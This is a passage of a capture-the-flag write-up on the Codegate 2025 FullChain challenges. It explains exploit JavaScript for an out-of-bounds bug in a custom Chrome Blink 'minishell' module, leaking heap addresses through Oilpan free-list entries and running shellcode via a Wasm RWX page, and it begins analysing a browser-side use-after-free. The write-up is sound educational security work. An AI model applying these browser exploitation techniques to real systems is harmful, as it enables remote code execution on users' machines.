Close today

Go to Top

Go to Top

Vulnerability research

Vulnerability research

Vulnerability research

From Blink to Nt: Codegate 2025 FullChain Write-up

From Blink to Nt: Codegate 2025 FullChain Write-up

From Blink to Nt: Codegate 2025 FullChain Write-up

EnkiWhiteHat

EnkiWhiteHat

Content

Content

Content

Prologue

There was a FullChain challenge (RCE, LPE and SBX) in Codegate 2025 Final.

While brainstorming ideas for Codegate challenges, we came up with the idea of creating RCE, SBX, and LPE challenges and offering bonus points (FullChain) to teams that solved all of them. That's how the FullChain series came to be.

This series consisted of 4 problems in total: the 3 individual challenges and a FullChain bonus challenge that could be solved by simply chaining them together after solving all three (RCE, LPE, SBX).

Before we begin, a shout-out to the challenge solvers 🙂

  • RCE: BunkyoWesterns (First Blood!), The Duck, Blue Water

  • SBX: None 😞

  • LPE: GYG (First Blood!), BunkyoWesterns, CyGoN, Blue Water

Also, shout-out to our challenge authors 🙂 !!

  • Hyungil Moon (@mhibio-ptw), Jongseong Kim (@nevul37) and Dongjun Kim (@smlijun)

Here is the full challenges and exploit codes [link]

Part 1: RCE

Codegate2025-RCE

Challenge Overview

The goal of the challenge is to find vulnerabilities in the renderer process and develop an exploit code by analyzing the provided rce-sbx-138-0-7204-97.patch file.

The patch file creates a new Blink module called minishell in the renderer. It provides various shell functions and file writing and saving, and the file data is managed through Codegate File System (CFS), which is a browser API.

The available commands are:

Available commands:
  help
  pwd
  ls
  mkdir <dirname>
  cd <path>
  touch <filename>
  delete <filename>
  rename <oldname> <newname>
  exec <filename>
  mvdir <src> <dst_parent_dir | new_dir_name_if_renaming>

File Operation:
  open <filepath>
  read <count>
  write <count> {hex1} {hex2} {hex3} . . .
  seek <idx>

Available commands:
  help
  pwd
  ls
  mkdir <dirname>
  cd <path>
  touch <filename>
  delete <filename>
  rename <oldname> <newname>
  exec <filename>
  mvdir <src> <dst_parent_dir | new_dir_name_if_renaming>

File Operation:
  open <filepath>
  read <count>
  write <count> {hex1} {hex2} {hex3} . . .
  seek <idx>

Available commands:
  help
  pwd
  ls
  mkdir <dirname>
  cd <path>
  touch <filename>
  delete <filename>
  rename <oldname> <newname>
  exec <filename>
  mvdir <src> <dst_parent_dir | new_dir_name_if_renaming>

File Operation:
  open <filepath>
  read <count>
  write <count> {hex1} {hex2} {hex3} . . .
  seek <idx>

They are similar to the basic shell commands. Commands such as exec are not implemented, but there are several file operations.

When a file is opened, it is managed through file_descriptor_ in the form of a FileBuffer class until Save.

class MODULES_EXPORT MiniShell final : public ScriptWrappable {
  // ...
  Member<FileBuffer> file_descriptor_;
  // ...
}
class MODULES_EXPORT MiniShell final : public ScriptWrappable {
  // ...
  Member<FileBuffer> file_descriptor_;
  // ...
}
class MODULES_EXPORT MiniShell final : public ScriptWrappable {
  // ...
  Member<FileBuffer> file_descriptor_;
  // ...
}

A user can invoke the minishell as follows:

var shell = await window.miniShellManager.CreateShell();
await shell.execute("ls");
var shell = await window.miniShellManager.CreateShell();
await shell.execute("ls");
var shell = await window.miniShellManager.CreateShell();
await shell.execute("ls");

Callable methods can be bound in the *idl file.

interface MiniShellManager {
    [CallWith=ScriptState, RaisesException] Promise<MiniShell> CreateShell();
    [CallWith=ScriptState, RaisesException] Promise<boolean> DeleteShell(unsigned long id);
    [CallWith=ScriptState, RaisesException] Promise<MiniShell> get(unsigned long id);
};
[
    ImplementedAs=WindowMiniShellManager
]
partial interface Window {
    [SameObject] readonly attribute MiniShellManager miniShellManager;
};
interface MiniShellManager {
    [CallWith=ScriptState, RaisesException] Promise<MiniShell> CreateShell();
    [CallWith=ScriptState, RaisesException] Promise<boolean> DeleteShell(unsigned long id);
    [CallWith=ScriptState, RaisesException] Promise<MiniShell> get(unsigned long id);
};
[
    ImplementedAs=WindowMiniShellManager
]
partial interface Window {
    [SameObject] readonly attribute MiniShellManager miniShellManager;
};
interface MiniShellManager {
    [CallWith=ScriptState, RaisesException] Promise<MiniShell> CreateShell();
    [CallWith=ScriptState, RaisesException] Promise<boolean> DeleteShell(unsigned long id);
    [CallWith=ScriptState, RaisesException] Promise<MiniShell> get(unsigned long id);
};
[
    ImplementedAs=WindowMiniShellManager
]
partial interface Window {
    [SameObject] readonly attribute MiniShellManager miniShellManager;
};
interface MiniShell {
    [CallWith=ScriptState, RaisesException] long get_id();
    [CallWith=ScriptState, RaisesException] Promise<DOMString> execute(DOMString command);
};
interface MiniShell {
    [CallWith=ScriptState, RaisesException] long get_id();
    [CallWith=ScriptState, RaisesException] Promise<DOMString> execute(DOMString command);
};
interface MiniShell {
    [CallWith=ScriptState, RaisesException] long get_id();
    [CallWith=ScriptState, RaisesException] Promise<DOMString> execute(DOMString command);
};

In short, one user can have multiple shells and execute each command in one shell.

Vulnerability

We can see the main functionality in mini_shell.cc.

However, the vulnerability is pretty simple compared to the file size. The following shows the FileBuffer structure.

#define FILESIZE_MAX 1024

class FileBuffer : public GarbageCollected<FileBuffer> {

 public:
  explicit FileBuffer(
      mojo::PendingRemote<mojom::cfs::blink::CodegateFile> new_file_remote,
      ScriptPromiseResolver<IDLString>* resolver);

  Vector<uint8_t> read(uint64_t count);
  void write(const Vector<uint8_t>& data);

  void SetIdx(uint64_t idx);

  mojom::cfs::blink::CodegateFile* GetRemote();

  void Trace(Visitor* visitor) const;

 private:
  HeapMojoRemote<mojom::cfs::blink::CodegateFile> remote_;
  uint64_t idx_;
  char buffer_[FILESIZE_MAX];

}

#define FILESIZE_MAX 1024

class FileBuffer : public GarbageCollected<FileBuffer> {

 public:
  explicit FileBuffer(
      mojo::PendingRemote<mojom::cfs::blink::CodegateFile> new_file_remote,
      ScriptPromiseResolver<IDLString>* resolver);

  Vector<uint8_t> read(uint64_t count);
  void write(const Vector<uint8_t>& data);

  void SetIdx(uint64_t idx);

  mojom::cfs::blink::CodegateFile* GetRemote();

  void Trace(Visitor* visitor) const;

 private:
  HeapMojoRemote<mojom::cfs::blink::CodegateFile> remote_;
  uint64_t idx_;
  char buffer_[FILESIZE_MAX];

}

#define FILESIZE_MAX 1024

class FileBuffer : public GarbageCollected<FileBuffer> {

 public:
  explicit FileBuffer(
      mojo::PendingRemote<mojom::cfs::blink::CodegateFile> new_file_remote,
      ScriptPromiseResolver<IDLString>* resolver);

  Vector<uint8_t> read(uint64_t count);
  void write(const Vector<uint8_t>& data);

  void SetIdx(uint64_t idx);

  mojom::cfs::blink::CodegateFile* GetRemote();

  void Trace(Visitor* visitor) const;

 private:
  HeapMojoRemote<mojom::cfs::blink::CodegateFile> remote_;
  uint64_t idx_;
  char buffer_[FILESIZE_MAX];

}

In here, we can see the fixed-size buffer. Let’s check the part which uses it.

// ...
Vector<uint8_t> FileBuffer::read(uint64_t count) {
  Vector<uint8_t> res(count);

  if (count > FILESIZE_MAX) {
    return Vector<uint8_t>();
  }

  for (uint64_t i = 0; i < count; i++) {
    res[i] = buffer_[idx_ + i];
  }
  return res;
}

void FileBuffer::write(const Vector<uint8_t>& data) {
  if (data.size() > FILESIZE_MAX) {
    return;
  }

  for (uint64_t i = 0; i < data.size(); i++) {
    buffer_[idx_ + i] = data[i];
  }
}

void FileBuffer::SetIdx(uint64_t idx) {
  idx_ = idx;
}

void FileBuffer::Trace(Visitor* visitor) const {
  visitor->Trace(remote_);
}

mojom::cfs::blink::CodegateFile* FileBuffer::GetRemote() {
  return remote_.get();
}
// ...
// ...
Vector<uint8_t> FileBuffer::read(uint64_t count) {
  Vector<uint8_t> res(count);

  if (count > FILESIZE_MAX) {
    return Vector<uint8_t>();
  }

  for (uint64_t i = 0; i < count; i++) {
    res[i] = buffer_[idx_ + i];
  }
  return res;
}

void FileBuffer::write(const Vector<uint8_t>& data) {
  if (data.size() > FILESIZE_MAX) {
    return;
  }

  for (uint64_t i = 0; i < data.size(); i++) {
    buffer_[idx_ + i] = data[i];
  }
}

void FileBuffer::SetIdx(uint64_t idx) {
  idx_ = idx;
}

void FileBuffer::Trace(Visitor* visitor) const {
  visitor->Trace(remote_);
}

mojom::cfs::blink::CodegateFile* FileBuffer::GetRemote() {
  return remote_.get();
}
// ...
// ...
Vector<uint8_t> FileBuffer::read(uint64_t count) {
  Vector<uint8_t> res(count);

  if (count > FILESIZE_MAX) {
    return Vector<uint8_t>();
  }

  for (uint64_t i = 0; i < count; i++) {
    res[i] = buffer_[idx_ + i];
  }
  return res;
}

void FileBuffer::write(const Vector<uint8_t>& data) {
  if (data.size() > FILESIZE_MAX) {
    return;
  }

  for (uint64_t i = 0; i < data.size(); i++) {
    buffer_[idx_ + i] = data[i];
  }
}

void FileBuffer::SetIdx(uint64_t idx) {
  idx_ = idx;
}

void FileBuffer::Trace(Visitor* visitor) const {
  visitor->Trace(remote_);
}

mojom::cfs::blink::CodegateFile* FileBuffer::GetRemote() {
  return remote_.get();
}
// ...

There is a size check for the input data vector, but there is no any bound check for idx_ so an out-of-bounds (OOB) read/write occurs.

Although the vulnerability is simple, we need to obtain arbitrary address read / write primitives with this relative address read / write, and finally achieve Arbitrary Code Execution.

Exploit - AAR/W

Now, we have relative read / write primitive of uint64_t size. In fact, there is no difference in the method to achieve arbitrary address read / write.

However, in order to access an arbitrary address, we must know the address of the current object. This is because we need to measure the distance to move to the target.

There are various ways to leak the address of a controllable object.

In this challenge, it is difficult to achieve address leakage with just a simple OOB read because there is no valid address area written anywhere in the heap area. Among them, we tried using brand new technique that can stably leak objects by utilizing the characteristics of Oilpan GC.

Oilpan GC

The Heap object of Oilpan GC has the following structure [link].

// +-----------------+------+------------------------------------------+
// | name            | bits |                                          |
// +-----------------+------+------------------------------------------+
// | padding         |   32 | Only present on 64-bit platform.         |
// +-----------------+------+------------------------------------------+
// | GCInfoIndex     |   14 |                                          |
// | unused          |    1 |                                          |
// | in construction |    1 | In construction encoded as |false|.      |
// +-----------------+------+------------------------------------------+
// | size            |   15 | 17 bits because allocations are aligned. |
// | mark bit        |    1 |                                          |
// +-----------------+------+------------------------------------------+
// | object data                                                       |
// +-------------------------------------------------------------------+
// +-----------------+------+------------------------------------------+
// | name            | bits |                                          |
// +-----------------+------+------------------------------------------+
// | padding         |   32 | Only present on 64-bit platform.         |
// +-----------------+------+------------------------------------------+
// | GCInfoIndex     |   14 |                                          |
// | unused          |    1 |                                          |
// | in construction |    1 | In construction encoded as |false|.      |
// +-----------------+------+------------------------------------------+
// | size            |   15 | 17 bits because allocations are aligned. |
// | mark bit        |    1 |                                          |
// +-----------------+------+------------------------------------------+
// | object data                                                       |
// +-------------------------------------------------------------------+
// +-----------------+------+------------------------------------------+
// | name            | bits |                                          |
// +-----------------+------+------------------------------------------+
// | padding         |   32 | Only present on 64-bit platform.         |
// +-----------------+------+------------------------------------------+
// | GCInfoIndex     |   14 |                                          |
// | unused          |    1 |                                          |
// | in construction |    1 | In construction encoded as |false|.      |
// +-----------------+------+------------------------------------------+
// | size            |   15 | 17 bits because allocations are aligned. |
// | mark bit        |    1 |                                          |
// +-----------------+------+------------------------------------------+
// | object data                                                       |
// +-------------------------------------------------------------------+

Oilpan GC uses a different allocation method than PartitionAlloc (PA), which is mark-and-sweep and space. Unlike PA, which uses slot-bucket, Oilpan allocates space for the heap and divides (i.e., allocates) the heap object as much as requested size from the space when a request comes in.

In other words, without a fixed slot, it dynamically allocates multiple sizes in each space.

When they lose their reference and are GC reclaims them, they take the form of FreeList::Entry.

class FreeList::Entry : public HeapObjectHeader {
 public:
  static Entry& CreateAt(void* memory, size_t size) {
    // Make sure the freelist header is writable. SET_MEMORY_ACCESSIBLE is not
    // needed as we write the whole payload of Entry.
    ASAN_UNPOISON_MEMORY_REGION(memory, sizeof(Entry));
    return *new (memory) Entry(size);
  }

  Entry* Next() const { return next_; }
  void SetNext(Entry* next) { next_ = next; }

  void Link(Entry** previous_next) {
    next_ = *previous_next;
    *previous_next = this;
  }
  void Unlink(Entry** previous_next) {
    *previous_next = next_;
    next_ = nullptr;
  }

 private:
  explicit Entry(size_t size) : HeapObjectHeader(size, kFreeListGCInfoIndex) {
    static_assert(sizeof(Entry) == kFreeListEntrySize, "Sizes must match");
  }

  Entry* next_ = nullptr;
}

class FreeList::Entry : public HeapObjectHeader {
 public:
  static Entry& CreateAt(void* memory, size_t size) {
    // Make sure the freelist header is writable. SET_MEMORY_ACCESSIBLE is not
    // needed as we write the whole payload of Entry.
    ASAN_UNPOISON_MEMORY_REGION(memory, sizeof(Entry));
    return *new (memory) Entry(size);
  }

  Entry* Next() const { return next_; }
  void SetNext(Entry* next) { next_ = next; }

  void Link(Entry** previous_next) {
    next_ = *previous_next;
    *previous_next = this;
  }
  void Unlink(Entry** previous_next) {
    *previous_next = next_;
    next_ = nullptr;
  }

 private:
  explicit Entry(size_t size) : HeapObjectHeader(size, kFreeListGCInfoIndex) {
    static_assert(sizeof(Entry) == kFreeListEntrySize, "Sizes must match");
  }

  Entry* next_ = nullptr;
}

class FreeList::Entry : public HeapObjectHeader {
 public:
  static Entry& CreateAt(void* memory, size_t size) {
    // Make sure the freelist header is writable. SET_MEMORY_ACCESSIBLE is not
    // needed as we write the whole payload of Entry.
    ASAN_UNPOISON_MEMORY_REGION(memory, sizeof(Entry));
    return *new (memory) Entry(size);
  }

  Entry* Next() const { return next_; }
  void SetNext(Entry* next) { next_ = next; }

  void Link(Entry** previous_next) {
    next_ = *previous_next;
    *previous_next = this;
  }
  void Unlink(Entry** previous_next) {
    *previous_next = next_;
    next_ = nullptr;
  }

 private:
  explicit Entry(size_t size) : HeapObjectHeader(size, kFreeListGCInfoIndex) {
    static_assert(sizeof(Entry) == kFreeListEntrySize, "Sizes must match");
  }

  Entry* next_ = nullptr;
}

When an object in the space is freed, the HeapObject changes to a FreeList::Entry, and additional next_ fields are created to point to the next freed object.

Leak Idea

The idea is as follows:

  1. Loop the action below enough times to allocate new space

    • Spray shell object

    • Spray File in each shell

  2. Trigger gc()

  3. Read the next_ of the header of the next adjacent chunk of FileBuffer in the N-th Sprayed Object

  4. Leak (N-1)th Sprayed_object

Since each shell has only one File Buffer, N shells are needed to spray N File Buffers.

Considering the characteristics of the Oilpan GC described above, consider the following chunk situation.

Currently, there is only my object in space. When an object is dynamically divided(i.e., allocated) from space, gc() is executed and the small areas between each object will be treated as Free Entry, forming a FreeList as shown above.

We can now read the chained Free Entry by reading temp = sizeof(FileBuffer) + 0x8 from the Sprayed2 object, and leak the Sprayed 1 address through heap_leak = temp - sizeof(FileBuffer)

  var leak;
  leak = await this.relative_read64(0x400n + 0x8n) // current heap obj idx = 90
  leak -= 0x400n;
  console.log("[idx:89] leak: " + hex(leak)); // idx 89 leak
  var leak;
  leak = await this.relative_read64(0x400n + 0x8n) // current heap obj idx = 90
  leak -= 0x400n;
  console.log("[idx:89] leak: " + hex(leak)); // idx 89 leak
  var leak;
  leak = await this.relative_read64(0x400n + 0x8n) // current heap obj idx = 90
  leak -= 0x400n;
  console.log("[idx:89] leak: " + hex(leak)); // idx 89 leak

This allows us to leak the address of the object with only spray and out-of-bounds, regardless of how big the distance is between Sprayed 1 and Sprayed 2 whether there is a stable address.

Since we have the address of the Sprayed 1 object and the relative address read / write, we can perform arbitrary address read / write.

/*
0:021> dq 0000556c`009f96b0 L 100
0x0000556c009f96b0  0x010608e500000000 0x000000008010cdc6 [HeapObjectHeader] | [HeapMojoRemote]
0x0000556c009f96c0  0x0000000000000000 0x003f003f003f003f [idx] | [data]
0x0000556c009f96d0  0x003f003f003f003f 0x003f003f003f003f
0x0000556c009f96e0  0x003f003f003f003f 0x003f003f003f003f
. . . 
0x0000556c009f9ab0  0x003f003f003f003f 0x003f003f003f003f
0x0000556c009f9ac0  0x003f003f003f003f 0x062a000000000000 [data] | [HeapObjectHeader]
0x0000556c009f9ad0  0x0000556c009f7e08 0xdcdcdcdcdcdcdcdc [FreeList::Entry] <- Leak this
*/
/*
0:021> dq 0000556c`009f96b0 L 100
0x0000556c009f96b0  0x010608e500000000 0x000000008010cdc6 [HeapObjectHeader] | [HeapMojoRemote]
0x0000556c009f96c0  0x0000000000000000 0x003f003f003f003f [idx] | [data]
0x0000556c009f96d0  0x003f003f003f003f 0x003f003f003f003f
0x0000556c009f96e0  0x003f003f003f003f 0x003f003f003f003f
. . . 
0x0000556c009f9ab0  0x003f003f003f003f 0x003f003f003f003f
0x0000556c009f9ac0  0x003f003f003f003f 0x062a000000000000 [data] | [HeapObjectHeader]
0x0000556c009f9ad0  0x0000556c009f7e08 0xdcdcdcdcdcdcdcdc [FreeList::Entry] <- Leak this
*/
/*
0:021> dq 0000556c`009f96b0 L 100
0x0000556c009f96b0  0x010608e500000000 0x000000008010cdc6 [HeapObjectHeader] | [HeapMojoRemote]
0x0000556c009f96c0  0x0000000000000000 0x003f003f003f003f [idx] | [data]
0x0000556c009f96d0  0x003f003f003f003f 0x003f003f003f003f
0x0000556c009f96e0  0x003f003f003f003f 0x003f003f003f003f
. . . 
0x0000556c009f9ab0  0x003f003f003f003f 0x003f003f003f003f
0x0000556c009f9ac0  0x003f003f003f003f 0x062a000000000000 [data] | [HeapObjectHeader]
0x0000556c009f9ad0  0x0000556c009f7e08 0xdcdcdcdcdcdcdcdc [FreeList::Entry] <- Leak this
*/

In the exploit, after sufficient spray, it triggers gc() and then leaks objects 90th to 89th.

// Grooming / Spray
for (var i = 0; i < 100; i++) {
    var filename = "file" + i;
    await this.exec("touch " + filename, i);
    await this.exec("open " + filename, i);
    let hexs = i.toString(16).padStart(4, '0');
    const hi = hexs.substring(0, 2);
    const lo = hexs.substring(2, 4);
    var data = ` ${lo} ${hi}`.repeat(this.buffer_size / 2);
    await this.exec("write " + this.buffer_size + data, i);
}
        
this.target_shell = 90;

// Make Hole
gc();
gc();
await sleep(2000);

var leak = await this.relative_read64(0x408n) - 0x400n;
console.log("[idx:89] leak: " + hex(leak));

// set heap leak for calculation
this.heap_leak = leak;
console.log("target heapleak: " + hex(this.heap_leak));

this.target_shell = 89;

// Heap Leak test
{
    var leak_test = await this.arbitrary_read64(this.heap_leak - 0x8n);
    if (leak_test != 0xfffffffffffffff8n) {
        throw new Error("Leak test failed, expected 0xfffffffffffffff8n but got " + hex(leak_test));
        return;
    }
    console.log("Heap leak success");
}
// Grooming / Spray
for (var i = 0; i < 100; i++) {
    var filename = "file" + i;
    await this.exec("touch " + filename, i);
    await this.exec("open " + filename, i);
    let hexs = i.toString(16).padStart(4, '0');
    const hi = hexs.substring(0, 2);
    const lo = hexs.substring(2, 4);
    var data = ` ${lo} ${hi}`.repeat(this.buffer_size / 2);
    await this.exec("write " + this.buffer_size + data, i);
}
        
this.target_shell = 90;

// Make Hole
gc();
gc();
await sleep(2000);

var leak = await this.relative_read64(0x408n) - 0x400n;
console.log("[idx:89] leak: " + hex(leak));

// set heap leak for calculation
this.heap_leak = leak;
console.log("target heapleak: " + hex(this.heap_leak));

this.target_shell = 89;

// Heap Leak test
{
    var leak_test = await this.arbitrary_read64(this.heap_leak - 0x8n);
    if (leak_test != 0xfffffffffffffff8n) {
        throw new Error("Leak test failed, expected 0xfffffffffffffff8n but got " + hex(leak_test));
        return;
    }
    console.log("Heap leak success");
}
// Grooming / Spray
for (var i = 0; i < 100; i++) {
    var filename = "file" + i;
    await this.exec("touch " + filename, i);
    await this.exec("open " + filename, i);
    let hexs = i.toString(16).padStart(4, '0');
    const hi = hexs.substring(0, 2);
    const lo = hexs.substring(2, 4);
    var data = ` ${lo} ${hi}`.repeat(this.buffer_size / 2);
    await this.exec("write " + this.buffer_size + data, i);
}
        
this.target_shell = 90;

// Make Hole
gc();
gc();
await sleep(2000);

var leak = await this.relative_read64(0x408n) - 0x400n;
console.log("[idx:89] leak: " + hex(leak));

// set heap leak for calculation
this.heap_leak = leak;
console.log("target heapleak: " + hex(this.heap_leak));

this.target_shell = 89;

// Heap Leak test
{
    var leak_test = await this.arbitrary_read64(this.heap_leak - 0x8n);
    if (leak_test != 0xfffffffffffffff8n) {
        throw new Error("Leak test failed, expected 0xfffffffffffffff8n but got " + hex(leak_test));
        return;
    }
    console.log("Heap leak success");
}

Exploit - Arbitrary Code Execution

Now, we obtain the arbitrary address read / write primitives.

In a typical V8 engine, addrof is used to obtain address of a Wasm RWX Page. However, we only have OOB, and it seems difficult to create an addrof primitive.

So what should we do?

Overwrite the vtable of HeapMojoRemote to call 0x4141414141414141?

The challenge says that it should be exploited on chrome.exe running on Windows 11 24H2. That is, in order to achieve arbitrary function calls in the challenge, CFG Bypass must be accompanied. Of course, considering the huge size of the code base, there may be many gadgets that can bypass CFG.

Also, Function::Invoker Chaining, a well-known technique, can bypass CFG.

We wanted to find a more stable method, and after auditing the code, we found that there is a LazyInstance Getter for WasmCodePointerObject. We can leak Wasm RWX Page by reading WasmCodePointerTable → entrypoint_.

Let's overwrite RWX Page with arbitrary shellcode and execute wasm exports function.

In the end, we can stably execute arbitrary shellcode while maintaining persistence. An interesting fact is that the bug of the SBX challenge can be triggered even in the Renderer. However, triggering the vulnerability requires a slight race condition in the SBX Challenge, we are unsure whether UAF Object can be reliably occupied in Blink.

Part 2: SBX

Codegate2025-SBX

Challenge Overview

This challenge was inspired by a real-world case. So, SBX seems to be the most difficult challenge in the FullChain series.

TL;DR

  1. Triggering a vulnerability to create a UAF

  2. Occupying UAF Object through Race and Spray

  3. Create arbitrary read / write / call primitives

The goal of the challenge is to find vulnerabilities in the browser process and develop sandbox escape exploit code by analyzing the provided rce-sbx-138-0-7204-97.patch file.

This patch file creates a new Mojo Endpoint Impl called Codegate File System in the browser.

CFS implements DirectoryImpl and FileImpl. These are structured as a tree with the Root Directory as the root under the File System Manager. Files can execute Read / Write / Edit / Close operations, and Directories have operations such as Create / Delete / Change, etc.

Below is the cfs.mojom file defining the mojom interface.

module blink.mojom.cfs;

enum ITEMTYPE {
    kFailed,
    kFile,
    kDir,
};

union CodegateItemResponse {
  pending_remote<CodegateDirectory> remote_dir;
  pending_remote<CodegateFile> remote_file;
};

interface CodegateFSManager {
  CreateFileSystem() => (uint32 id, pending_remote<CodegateDirectory> remote_dir);
  DeleteFileSystem(uint32 id) => (bool success);
  GetFileSystemHandle(uint32 id) => (bool success, pending_remote<CodegateDirectory>? remote_dir);

  /// You have a compromised renderer, right?
  GetCode() => (uint64 addr);
};

interface CodegateDirectory {
  GetItemHandle(string filename) => (ITEMTYPE type, CodegateItemResponse? remote_item);

  CreateItem(string filename, ITEMTYPE type) => (ITEMTYPE type, CodegateItemResponse? remote_item);
  DeleteItem(string filename) => (bool success);

  RenameItem(string filename_orig, string filename_new) => (bool success);
  ChangeItemLocation(string filename_src, string filename_dst) => (ITEMTYPE type, CodegateItemResponse? remote_item);

  ListItems() => (array<string> data);
  GetPwd() => (string data);
};

interface CodegateFile {
  GetFilename() => (string filename);
  Read() => (bool success, array<uint8>? data);
  Write(array<uint8> data) => (bool success);
  Edit(uint32 idx, uint8 value) => (bool success);
  Close() => (bool success);
};
module blink.mojom.cfs;

enum ITEMTYPE {
    kFailed,
    kFile,
    kDir,
};

union CodegateItemResponse {
  pending_remote<CodegateDirectory> remote_dir;
  pending_remote<CodegateFile> remote_file;
};

interface CodegateFSManager {
  CreateFileSystem() => (uint32 id, pending_remote<CodegateDirectory> remote_dir);
  DeleteFileSystem(uint32 id) => (bool success);
  GetFileSystemHandle(uint32 id) => (bool success, pending_remote<CodegateDirectory>? remote_dir);

  /// You have a compromised renderer, right?
  GetCode() => (uint64 addr);
};

interface CodegateDirectory {
  GetItemHandle(string filename) => (ITEMTYPE type, CodegateItemResponse? remote_item);

  CreateItem(string filename, ITEMTYPE type) => (ITEMTYPE type, CodegateItemResponse? remote_item);
  DeleteItem(string filename) => (bool success);

  RenameItem(string filename_orig, string filename_new) => (bool success);
  ChangeItemLocation(string filename_src, string filename_dst) => (ITEMTYPE type, CodegateItemResponse? remote_item);

  ListItems() => (array<string> data);
  GetPwd() => (string data);
};

interface CodegateFile {
  GetFilename() => (string filename);
  Read() => (bool success, array<uint8>? data);
  Write(array<uint8> data) => (bool success);
  Edit(uint32 idx, uint8 value) => (bool success);
  Close() => (bool success);
};
module blink.mojom.cfs;

enum ITEMTYPE {
    kFailed,
    kFile,
    kDir,
};

union CodegateItemResponse {
  pending_remote<CodegateDirectory> remote_dir;
  pending_remote<CodegateFile> remote_file;
};

interface CodegateFSManager {
  CreateFileSystem() => (uint32 id, pending_remote<CodegateDirectory> remote_dir);
  DeleteFileSystem(uint32 id) => (bool success);
  GetFileSystemHandle(uint32 id) => (bool success, pending_remote<CodegateDirectory>? remote_dir);

  /// You have a compromised renderer, right?
  GetCode() => (uint64 addr);
};

interface CodegateDirectory {
  GetItemHandle(string filename) => (ITEMTYPE type, CodegateItemResponse? remote_item);

  CreateItem(string filename, ITEMTYPE type) => (ITEMTYPE type, CodegateItemResponse? remote_item);
  DeleteItem(string filename) => (bool success);

  RenameItem(string filename_orig, string filename_new) => (bool success);
  ChangeItemLocation(string filename_src, string filename_dst) => (ITEMTYPE type, CodegateItemResponse? remote_item);

  ListItems() => (array<string> data);
  GetPwd() => (string data);
};

interface CodegateFile {
  GetFilename() => (string filename);
  Read() => (bool success, array<uint8>? data);
  Write(array<uint8> data) => (bool success);
  Edit(uint32 idx, uint8 value) => (bool success);
  Close() => (bool success);
};

Vulnerability

The vulnerability in the ChangeItemLocation function is simple in nature but complex in its exploitation. Inaccurate input validation for filename_src / filename_dst causes smart pointer malfunctions, leading to UAF.

void CodegateDirectoryImpl::ChangeItemLocation(
    const std::string& filename_src,
    const std::string& dst_dir,
    ChangeItemLocationCallback callback) {
    
    
  // [1]
  CodegateDirectoryImpl* destination_directory =
      ValidateChangeLocation(filename_src, dst_dir);

  if (!destination_directory) {
    // ...
    return;
  }

  // [2]
  std::unique_ptr<CodegateItem> file_to_move = RemoveItemByName(filename_src);

  // ...
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  
  // ...
}
void CodegateDirectoryImpl::ChangeItemLocation(
    const std::string& filename_src,
    const std::string& dst_dir,
    ChangeItemLocationCallback callback) {
    
    
  // [1]
  CodegateDirectoryImpl* destination_directory =
      ValidateChangeLocation(filename_src, dst_dir);

  if (!destination_directory) {
    // ...
    return;
  }

  // [2]
  std::unique_ptr<CodegateItem> file_to_move = RemoveItemByName(filename_src);

  // ...
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  
  // ...
}
void CodegateDirectoryImpl::ChangeItemLocation(
    const std::string& filename_src,
    const std::string& dst_dir,
    ChangeItemLocationCallback callback) {
    
    
  // [1]
  CodegateDirectoryImpl* destination_directory =
      ValidateChangeLocation(filename_src, dst_dir);

  if (!destination_directory) {
    // ...
    return;
  }

  // [2]
  std::unique_ptr<CodegateItem> file_to_move = RemoveItemByName(filename_src);

  // ...
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  
  // ...
}

The ChangeItemLocation function checks the source and destination through ValidateChangeLocation [1] returns the destination_directory. It then removes the src item from the current directory [2], and performs AddItemInternal[3] to the directory to move

Since it's still difficult to find vulnerabilities, let's look at the ValidateChangeLocation function further.

CodegateDirectoryImpl* CodegateDirectoryImpl::ValidateChangeLocation(
    const std::string& src_item,
    const std::string& dst_dir) {
  if (!IsItemNameExists(src_item) || !IsItemNameExists(dst_dir)) {
    return nullptr;
  }

  if(src_item== ".." || src_item== ".") {
    return nullptr;
  }
  
  CodegateDirectoryImpl* dst = nullptr;
  if (dst_dir == ".") {
    dst = this;
  } else if (dst_dir == "..") {
    dst = GetParentDir();
  } else if (IsValidDirectory(dst_dir)) {
    dst = static_cast<CodegateDirectoryImpl*>(FindItemByName(dst_dir));
  }

  return dst;
}
CodegateDirectoryImpl* CodegateDirectoryImpl::ValidateChangeLocation(
    const std::string& src_item,
    const std::string& dst_dir) {
  if (!IsItemNameExists(src_item) || !IsItemNameExists(dst_dir)) {
    return nullptr;
  }

  if(src_item== ".." || src_item== ".") {
    return nullptr;
  }
  
  CodegateDirectoryImpl* dst = nullptr;
  if (dst_dir == ".") {
    dst = this;
  } else if (dst_dir == "..") {
    dst = GetParentDir();
  } else if (IsValidDirectory(dst_dir)) {
    dst = static_cast<CodegateDirectoryImpl*>(FindItemByName(dst_dir));
  }

  return dst;
}
CodegateDirectoryImpl* CodegateDirectoryImpl::ValidateChangeLocation(
    const std::string& src_item,
    const std::string& dst_dir) {
  if (!IsItemNameExists(src_item) || !IsItemNameExists(dst_dir)) {
    return nullptr;
  }

  if(src_item== ".." || src_item== ".") {
    return nullptr;
  }
  
  CodegateDirectoryImpl* dst = nullptr;
  if (dst_dir == ".") {
    dst = this;
  } else if (dst_dir == "..") {
    dst = GetParentDir();
  } else if (IsValidDirectory(dst_dir)) {
    dst = static_cast<CodegateDirectoryImpl*>(FindItemByName(dst_dir));
  }

  return dst;
}

From this, we can identify several things.

  1. The src and dst files must always exist.

  2. The src file cannot be the current or parent directory.

  3. The dst location can be the parent or current directory.

  4. If it's a filename, it checks if the file is a directory and returns a pointer.

It seems to perform all checks well, but one thing is missing.

There is no check for when src and dst items are the same.

In other words, in the following situation [1], the next call [2] becomes a valid call.

// [1]
./root/
./root/dir1

// [2]
